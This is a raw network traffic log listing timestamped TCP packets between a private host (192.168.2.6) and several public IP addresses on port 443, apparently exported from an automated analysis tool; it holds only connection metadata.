Sep 29, 2024 15:45:49.087320089 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:49.087332964 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:49.544316053 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.588833094 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.631366014 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.631397963 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.632635117 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.632718086 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.637372017 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.637451887 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.637705088 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.637716055 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.680891991 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.764759064 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.764836073 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.764951944 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.861963034 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:49.862119913 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:49.988878965 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:49.988898993 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:49.989249945 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:50.030194044 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.032375097 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.032406092 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.038594961 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.038644075 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.038738012 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.041337013 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.041357040 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.043814898 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.043891907 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.043899059 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:50.044358969 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.091403961 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:50.219666004 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:50.220244884 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.220244884 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.220254898 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:50.220329046 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:50.506618977 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.507006884 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.507034063 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.507368088 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.507719994 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.507770061 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.507884026 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.555413008 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.636818886 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.636936903 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.636990070 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.637164116 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.637188911 CEST	443	49732	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:50.637200117 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:50.637234926 CEST	49732	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:55.035131931 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:55.035305023 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:55.035391092 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:55.506141901 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:55.506170988 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:55.806185007 CEST	49705	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:55.806387901 CEST	49705	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:55.811116934 CEST	443	49705	173.222.162.64	192.168.2.6
Sep 29, 2024 15:45:55.811148882 CEST	443	49705	173.222.162.64	192.168.2.6
Sep 29, 2024 15:45:55.828279972 CEST	49737	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:55.828318119 CEST	443	49737	173.222.162.64	192.168.2.6
Sep 29, 2024 15:45:55.828422070 CEST	49737	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:55.829792023 CEST	49737	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:55.829806089 CEST	443	49737	173.222.162.64	192.168.2.6
Sep 29, 2024 15:45:56.431130886 CEST	443	49737	173.222.162.64	192.168.2.6
Sep 29, 2024 15:45:56.431261063 CEST	49737	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:58.010736942 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.010813951 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.010884047 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.011183023 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.011199951 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.027246952 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.027286053 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.027348042 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.035912037 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.035924911 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.037652969 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.037688017 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.037749052 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.038817883 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.038830996 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.329893112 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:58.330013037 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:58.330184937 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:58.500957012 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.509608984 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.509773016 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.542486906 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.542493105 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.542510033 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.542519093 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.542546034 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.542572021 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.543035984 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.543682098 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.544003963 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.544681072 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.544683933 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.544683933 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.544775009 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.544786930 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.545806885 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.545984983 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.546004057 CEST	443	49739	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.587393999 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.601958036 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.601967096 CEST	443	49740	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:58.602035046 CEST	49739	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.792300940 CEST	49740	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:58.915505886 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:58.915538073 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:46:00.477965117 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478156090 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478224993 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.478254080 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478328943 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478420019 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478461981 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.478470087 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478501081 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.478513956 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478672981 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478718996 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.478725910 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478833914 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.478998899 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.479006052 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.482532024 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.482598066 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.482609034 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566016912 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566061020 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566096067 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566117048 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.566154003 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566167116 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.566555977 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566587925 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566606045 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.566612959 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.566812992 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.566819906 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.567205906 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.567244053 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.567250967 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.567284107 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.567315102 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.567364931 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.567372084 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.567411900 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.568150997 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.568216085 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.568243980 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.568274975 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.568298101 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.568306923 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.568356037 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.571525097 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.571736097 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.571744919 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.572238922 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.572269917 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.572280884 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.572289944 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.572357893 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.654685020 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.654767036 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.654800892 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.654820919 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.654836893 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.654849052 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.654874086 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.655427933 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.655488968 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.655502081 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.655548096 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.655586004 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.655592918 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.655601025 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.655626059 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.656383991 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.656455040 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.656462908 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.656497955 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.656502962 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.656511068 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.656534910 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.656558037 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.656567097 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.656579971 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.656717062 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.657407999 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.657439947 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.657464027 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.657474041 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.657493114 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.657512903 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.658299923 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.658360958 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.658467054 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.658519030 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.659214020 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.659265995 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.659332991 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.659379959 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.659379959 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.659396887 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.659415007 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.660257101 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.660310030 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.660320044 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.660356998 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.743623018 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.743676901 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.743721008 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.743746996 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.743761063 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.743788958 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.743808985 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.743813992 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744005919 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744054079 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.744060993 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744081974 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744127035 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.744133949 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744471073 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744518042 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.744525909 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744575977 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744582891 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.744590044 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744616985 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.744669914 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744712114 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.744718075 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.744752884 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.745367050 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.745399952 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.745455980 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.745461941 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.745484114 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.745501041 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.745503902 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.745513916 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.745542049 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.746222019 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.746296883 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.746304035 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.746324062 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.746345043 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.746350050 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.746372938 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.746454954 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.746495008 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.746500969 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.746542931 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.747227907 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.747260094 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.747313023 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.747318983 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.747348070 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.747364998 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.747404099 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.747404099 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.747409105 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748107910 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748152018 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.748158932 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748195887 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.748265028 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748317957 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.748344898 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748389959 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.748397112 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748410940 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.748437881 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.749157906 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.749197006 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.749211073 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.749222040 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.749233007 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.749241114 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.749296904 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.749300957 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.749351025 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.750145912 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.750180960 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.750195026 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.750202894 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.750225067 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.750247955 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.838491917 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.838545084 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.838577986 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.838606119 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.838620901 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.838824034 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.838841915 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.838871002 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.838879108 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.838905096 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.839041948 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.839102983 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.839109898 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.839145899 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.839160919 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.839394093 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.840955973 CEST	49738	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:46:00.840970993 CEST	443	49738	104.21.62.177	192.168.2.6
Sep 29, 2024 15:46:00.886090040 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:00.886142969 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:00.886485100 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:00.887037992 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:00.887052059 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.502083063 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.502389908 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.502415895 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.503413916 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.503493071 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.504630089 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.504683018 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.504817963 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.504827023 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.544892073 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.649102926 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.649183989 CEST	443	49741	104.18.94.41	192.168.2.6
Sep 29, 2024 15:46:01.649230003 CEST	49741	443	192.168.2.6	104.18.94.41
Sep 29, 2024 15:46:01.649701118 CEST	49741	443	192.168.2.6	104.18.94.41
